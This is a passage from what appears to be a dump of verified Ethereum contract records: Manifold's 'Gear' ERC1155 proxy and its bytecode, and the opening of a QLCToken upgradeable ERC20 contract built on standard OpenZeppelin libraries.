cbe8f86565671c13c4356f41865adab664736f6c63430005110032
[ 38 ]
0xf2af4c07c8c9af161ad89f2f223353f8310db070
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @title: Gear (for Adventurers) /// @author: manifold.xyz import "./ERC1155Creator.sol"; ///////////////////////////////////// // // // // // // // // // _____ _____ _____ _____ // // | __| __| _ | __ | // // | | | __| | -| // // |_____|_____|__|__|__|__| // // // // // // // ///////////////////////////////////// contract GEAR is ERC1155Creator { constructor() ERC1155Creator() {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /// @author: manifold.xyz import "@openzeppelin/contracts/proxy/Proxy.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract ERC1155Creator is Proxy { constructor() { assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4; Address.functionDelegateCall( 0x142FD5b9d67721EfDA3A5E2E9be47A96c9B724A4, abi.encodeWithSignature("initialize()") ); } /** * @dev Storage slot with the address of the current implementation. * This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is * validated in the constructor. */ bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; /** * @dev Returns the current implementation address. */ function implementation() public view returns (address) { return _implementation(); } function _implementation() internal override view returns (address) { return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (proxy/Proxy.sol) pragma solidity ^0.8.0; /** * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to * be specified by overriding the virtual {_implementation} function. * * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a * different contract through the {_delegate} function. * * The success and return data of the delegated call will be returned back to the caller of the proxy. */ abstract contract Proxy { /** * @dev Delegates the current call to `implementation`. * * This function does not return to its internal call site, it will return directly to the external caller. */ function _delegate(address implementation) internal virtual { assembly { // Copy msg.data. We take full control of memory in this inline assembly // block because it will not return to Solidity code. We overwrite the // Solidity scratch pad at memory position 0. calldatacopy(0, 0, calldatasize()) // Call the implementation. // out and outsize are 0 because we don't know the size yet. let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0) // Copy the returned data. returndatacopy(0, 0, returndatasize()) switch result // delegatecall returns 0 on error. case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } /** * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function * and {_fallback} should delegate. */ function _implementation() internal view virtual returns (address); /** * @dev Delegates the current call to the address returned by `_implementation()`. * * This function does not return to its internall call site, it will return directly to the external caller. */ function _fallback() internal virtual { _beforeFallback(); _delegate(_implementation()); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other * function in the contract matches the call data. */ fallback() external payable virtual { _fallback(); } /** * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data * is empty. */ receive() external payable virtual { _fallback(); } /** * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback` * call, or as part of the Solidity `fallback` or `receive` functions. * * If overriden should call `super._beforeFallback()`. */ function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts (last updated v4.5.0) (utils/Address.sol) pragma solidity ^0.8.1; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== * * [IMPORTANT] * ==== * You shouldn't rely on `isContract` to protect against flash loan attacks! * * Preventing calls from contracts is highly discouraged. It breaks composability, breaks support for smart wallets * like Gnosis Safe, and does not provide security since it can be circumvented by calling from a contract * constructor. * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize/address.code.length, which returns 0 // for contracts in construction, since the code is only stored at the end // of the constructor execution. return account.code.length > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } }
0x6080604052600436106100225760003560e01c80635c60da1b1461003957610031565b366100315761002f61006a565b005b61002f61006a565b34801561004557600080fd5b5061004e6100a5565b6040516001600160a01b03909116815260200160405180910390f35b6100a361009e7f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b61010c565b565b60006100d87f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b90565b606061010583836040518060600160405280602781526020016102cb60279139610130565b9392505050565b3660008037600080366000845af43d6000803e80801561012b573d6000f35b3d6000fd5b60606001600160a01b0384163b61019d5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084015b60405180910390fd5b600080856001600160a01b0316856040516101b8919061024b565b600060405180830381855af49150503d80600081146101f3576040519150601f19603f3d011682016040523d82523d6000602084013e6101f8565b606091505b5091509150610208828286610212565b9695505050505050565b60608315610221575081610105565b8251156102315782518084602001fd5b8160405162461bcd60e51b81526004016101949190610267565b6000825161025d81846020870161029a565b9190910192915050565b602081526000825180602084015261028681604085016020870161029a565b601f01601f19169190910160400192915050565b60005b838110156102b557818101518382015260200161029d565b838111156102c4576000848401525b5050505056fe416464726573733a206c6f772d6c6576656c2064656c65676174652063616c6c206661696c6564a2646970667358221220f6a8a9c3f908c8780e389a7cd2c28bb992b0926fb12980269866d633c478766e64736f6c63430008070033
[ 5 ]
0xF2b0288e9759b30A76Df9D490814DF49d4164C6b
// File: @openzeppelin/contracts-ethereum-package/contracts/Initializable.sol pragma solidity >=0.4.24 <0.7.0; /** * @title Initializable * * @dev Helper contract to support initializer functions. To use it, replace * the constructor with a function that has the `initializer` modifier. * WARNING: Unlike constructors, initializer functions must be manually * invoked. This applies both to deploying an Initializable contract, as well * as extending an Initializable contract via inheritance. * WARNING: When used with inheritance, manual care must be taken to not invoke * a parent initializer twice, or ensure that all initializers are idempotent, * because this is not dealt with automatically as with constructors. */ contract Initializable { /** * @dev Indicates that the contract has been initialized. */ bool private initialized; /** * @dev Indicates that the contract is in the process of being initialized. */ bool private initializing; /** * @dev Modifier to use in the initializer function of a contract. */ modifier initializer() { require(initializing || isConstructor() || !initialized, "Contract instance has already been initialized"); bool isTopLevelCall = !initializing; if (isTopLevelCall) { initializing = true; initialized = true; } _; if (isTopLevelCall) { initializing = false; } } /// @dev Returns true if and only if the function is running in the constructor function isConstructor() private view returns (bool) { // extcodesize checks the size of the code stored in an address, and // address returns the current address. Since the code is still not // deployed when running a constructor, any checks on its code size will // yield zero, making it an effective way to detect if a contract is // under construction or not. address self = address(this); uint256 cs; assembly { cs := extcodesize(self) } return cs == 0; } // Reserved storage space to allow for layout changes in the future. uint256[50] private ______gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/GSN/Context.sol pragma solidity ^0.6.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ contract ContextUpgradeSafe is Initializable { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. function __Context_init() internal initializer { __Context_init_unchained(); } function __Context_init_unchained() internal initializer { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } uint256[50] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/access/Ownable.sol pragma solidity ^0.6.0; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract OwnableUpgradeSafe is Initializable, ContextUpgradeSafe { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ function __Ownable_init() internal initializer { __Context_init_unchained(); __Ownable_init_unchained(); } function __Ownable_init_unchained() internal initializer { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[49] private __gap; } // File: @openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/IERC20.sol pragma solidity ^0.6.0; /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: @openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol pragma solidity ^0.6.2; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } } // File: @openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol pragma solidity ^0.6.0; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20MinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20UpgradeSafe is Initializable, ContextUpgradeSafe, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ function __ERC20_init(string memory name, string memory symbol) internal initializer { __Context_init_unchained(); __ERC20_init_unchained(name, symbol); } function __ERC20_init_unchained(string memory name, string memory symbol) internal initializer { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } uint256[44] private __gap; } // File: contracts/QLCToken.sol // SPDX-License-Identifier: MIT pragma solidity ^0.6.0; /** * @notice QLCToken contract realizes cross-chain with Nep5 QLC */ contract QLCToken is Initializable, ERC20UpgradeSafe, OwnableUpgradeSafe { using SafeMath for uint256; mapping(bytes32 => bytes32) private _lockedOrigin; mapping(bytes32 => uint256) private _lockedAmount; mapping(bytes32 => address) private _lockedUser; mapping(bytes32 => uint256) private _lockedHeight; mapping(bytes32 => uint256) private _unlockedHeight; uint256 